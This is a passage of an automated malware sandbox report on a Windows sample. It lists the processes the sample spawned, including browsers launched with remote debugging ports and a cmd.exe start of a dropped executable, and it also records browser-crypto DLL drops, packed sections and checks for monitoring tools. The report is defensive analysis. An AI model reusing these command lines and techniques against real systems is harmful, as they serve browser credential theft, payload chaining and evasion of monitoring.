Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=140 --field-trial-handle=2144,i,16764676859220455128,17652020922788016662,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2220,i,7587504728193492124,3574688987422493380,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2108 --field-trial-handle=1980,i,12647095353753981946,6910227817760874048,262144 /prefetch:3
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\HIDGCFBFBF.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\HIDGCFBFBF.exe "C:\Users\user\Documents\HIDGCFBFBF.exe"
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\HIDGCFBFBF.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=140 --field-trial-handle=2144,i,16764676859220455128,17652020922788016662,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2220,i,7587504728193492124,3574688987422493380,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2108 --field-trial-handle=1980,i,12647095353753981946,6910227817760874048,262144 /prefetch:3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\HIDGCFBFBF.exe "C:\Users\user\Documents\HIDGCFBFBF.exe"	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1808384 > 1048576

Source: file.exe

Static PE information: Raw size of zpydkcfj is bigger than: 0x100000 < 0x19f400

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2770268184.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: wextract.pdb source: ZdGtikR.exe.22.dr, ZdGtikR[1].exe.22.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: wextract.pdbGCTL source: ZdGtikR.exe.22.dr, ZdGtikR[1].exe.22.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2770268184.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.cc0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;zpydkcfj:EW;rixwnxxb:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;zpydkcfj:EW;rixwnxxb:EW;.taggant:EW;
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Unpacked PE file: 17.2.HIDGCFBFBF.exe.80000.0.unpack :EW;.rsrc:W;.idata :W;fuapnweu:EW;sdiwzxtv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;fuapnweu:EW;sdiwzxtv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 18.2.skotes.exe.fa0000.0.unpack :EW;.rsrc:W;.idata :W;fuapnweu:EW;sdiwzxtv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;fuapnweu:EW;sdiwzxtv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 22.2.skotes.exe.fa0000.1.unpack :EW;.rsrc:W;.idata :W;fuapnweu:EW;sdiwzxtv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;fuapnweu:EW;sdiwzxtv:EW;.taggant:EW;

Source: ZdGtikR[1].exe.22.dr

Static PE information: 0xAE1BC4F8 [Tue Jul 25 12:18:00 2062 UTC]

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C973480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6C973480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: skotes.exe.17.dr	Static PE information: real checksum: 0x32d0d7 should be: 0x32c76d
Source: ZdGtikR[1].exe.22.dr	Static PE information: real checksum: 0x23e038 should be: 0x18619
Source: HIDGCFBFBF.exe.0.dr	Static PE information: real checksum: 0x32d0d7 should be: 0x32c76d
Source: file.exe	Static PE information: real checksum: 0x1bb66e should be: 0x1c7879
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x32d0d7 should be: 0x32c76d
Source: ZdGtikR.exe.22.dr	Static PE information: real checksum: 0x23e038 should be: 0x18619

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: zpydkcfj
Source: file.exe	Static PE information: section name: rixwnxxb
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: HIDGCFBFBF.exe.0.dr	Static PE information: section name:
Source: HIDGCFBFBF.exe.0.dr	Static PE information: section name: .idata
Source: HIDGCFBFBF.exe.0.dr	Static PE information: section name: fuapnweu
Source: HIDGCFBFBF.exe.0.dr	Static PE information: section name: sdiwzxtv
Source: HIDGCFBFBF.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name: fuapnweu
Source: random[1].exe.0.dr	Static PE information: section name: sdiwzxtv
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.17.dr	Static PE information: section name:
Source: skotes.exe.17.dr	Static PE information: section name: .idata
Source: skotes.exe.17.dr	Static PE information: section name: fuapnweu
Source: skotes.exe.17.dr	Static PE information: section name: sdiwzxtv
Source: skotes.exe.17.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AB536 push ecx; ret	0_2_6C9AB549
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Code function: 17_2_0009D91C push ecx; ret	17_2_0009D92F
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Code function: 17_2_00091359 push es; ret	17_2_0009135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 18_2_00FBD91C push ecx; ret	18_2_00FBD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00FBD91C push ecx; ret	22_2_00FBD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00FBDFC6 push ecx; ret	22_2_00FBDFD9

Source: file.exe	Static PE information: section name: zpydkcfj entropy: 7.9530954019592155
Source: HIDGCFBFBF.exe.0.dr	Static PE information: section name: entropy: 7.091531284941182
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.091531284941182
Source: skotes.exe.17.dr	Static PE information: section name: entropy: 7.091531284941182

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\Documents\HIDGCFBFBF.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1013209001\ZdGtikR.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\Documents\HIDGCFBFBF.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\ZdGtikR[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Window searched: window name: FilemonClass	Jump to behavior
